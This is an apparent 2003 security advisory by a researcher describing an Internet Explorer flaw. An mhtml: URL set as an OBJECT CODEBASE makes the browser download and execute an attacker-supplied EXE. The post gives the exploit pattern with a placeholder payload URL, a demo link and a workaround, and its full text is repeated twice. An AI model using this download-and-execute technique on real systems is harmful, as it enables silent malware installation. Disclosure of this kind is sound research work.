Liu Die Yu
25/11/03, 23:00
MHTML Redirection Leads to Downloading EXE and Executing
[tested]
OS:Win2k3,CN version
IE: with MS03-048 installed.
OS:WinXp, CN version
Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16
[overview]
A vulnerability in Internet Explorer is found: any attacker that can reach MYCOMPUTER security zone(a.k.a local zone) is able to download his EXE file and execute it.
[demo]
There is a harmless demo:
http://www.safecenter.net/UMBRELLAWEBV4/MhtRedirLaunchInetExe/MhtRedirLaunchInetExe-Demo.zip
[technical details]
There is a feature in Internet Explorer when it tries to retrieve a file embedded in an MHT file, like:
mhtml:[Mhtml_File_Url]![Original_Resource_Url]
If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will try to download [Original_Resource_Url] and return the downloaded content.
It's like as HTTP redirection.
And CODEBASE execution is a URL-based security check.
(Liu Die Yu's http://continue.to/trie )
So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with unused CLSID to:
mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]
and then, IE will download [Attaker_PayloadEXE_Url] and execute it.
[Workaround]
Disable Active Scripting in INTERNET zone.
[Greetings]
greetings to:
Drew Copley, dror, guninski and mkill.
-----
all mentioned resources can always be found at UMBRELLA.MX.TC
[people]
LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn
UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"
[message]
A wise man learns from other's mistakes; a fool learns from his own.
[Employment]
I would like to work professionally as a security researcher/bug finder.
See my resume at my site. I am very eager to work, flexible, and
extremely productive. I have a top notch resume, with credentials
from leading bug finders. I am willing to work per contract, relocate,
or telecommute.
[Give a Hand]
I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at:
http://clik.to/donatepc
[tested]
OS:Win2k3,CN version
IE: with MS03-048 installed.
OS:WinXp, CN version
Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16
[overview]
A vulnerability in Internet Explorer is found: any attacker that can reach MYCOMPUTER security zone(a.k.a local zone) is able to download his EXE file and execute it.
[demo]
There is a harmless demo:
http://www.safecenter.net/UMBRELLAWEBV4/MhtRedirLaunchInetExe/MhtRedirLaunchInetExe-Demo.zip
[technical details]
There is a feature in Internet Explorer when it tries to retrieve a file embedded in an MHT file, like:
mhtml:[Mhtml_File_Url]![Original_Resource_Url]
If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will try to download [Original_Resource_Url] and return the downloaded content.
It's like as HTTP redirection.
And CODEBASE execution is a URL-based security check.
(Liu Die Yu's http://continue.to/trie )
So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with unused CLSID to:
mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]
and then, IE will download [Attaker_PayloadEXE_Url] and execute it.
[Workaround]
Disable Active Scripting in INTERNET zone.
[Greetings]
greetings to:
Drew Copley, dror, guninski and mkill.
-----
all mentioned resources can always be found at UMBRELLA.MX.TC
[people]
LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn
UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"
[message]
A wise man learns from other's mistakes; a fool learns from his own.
[Employment]
I would like to work professionally as a security researcher/bug finder.
See my resume at my site. I am very eager to work, flexible, and
extremely productive. I have a top notch resume, with credentials
from leading bug finders. I am willing to work per contract, relocate,
or telecommute.
[Give a Hand]
I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at:
http://clik.to/donatepc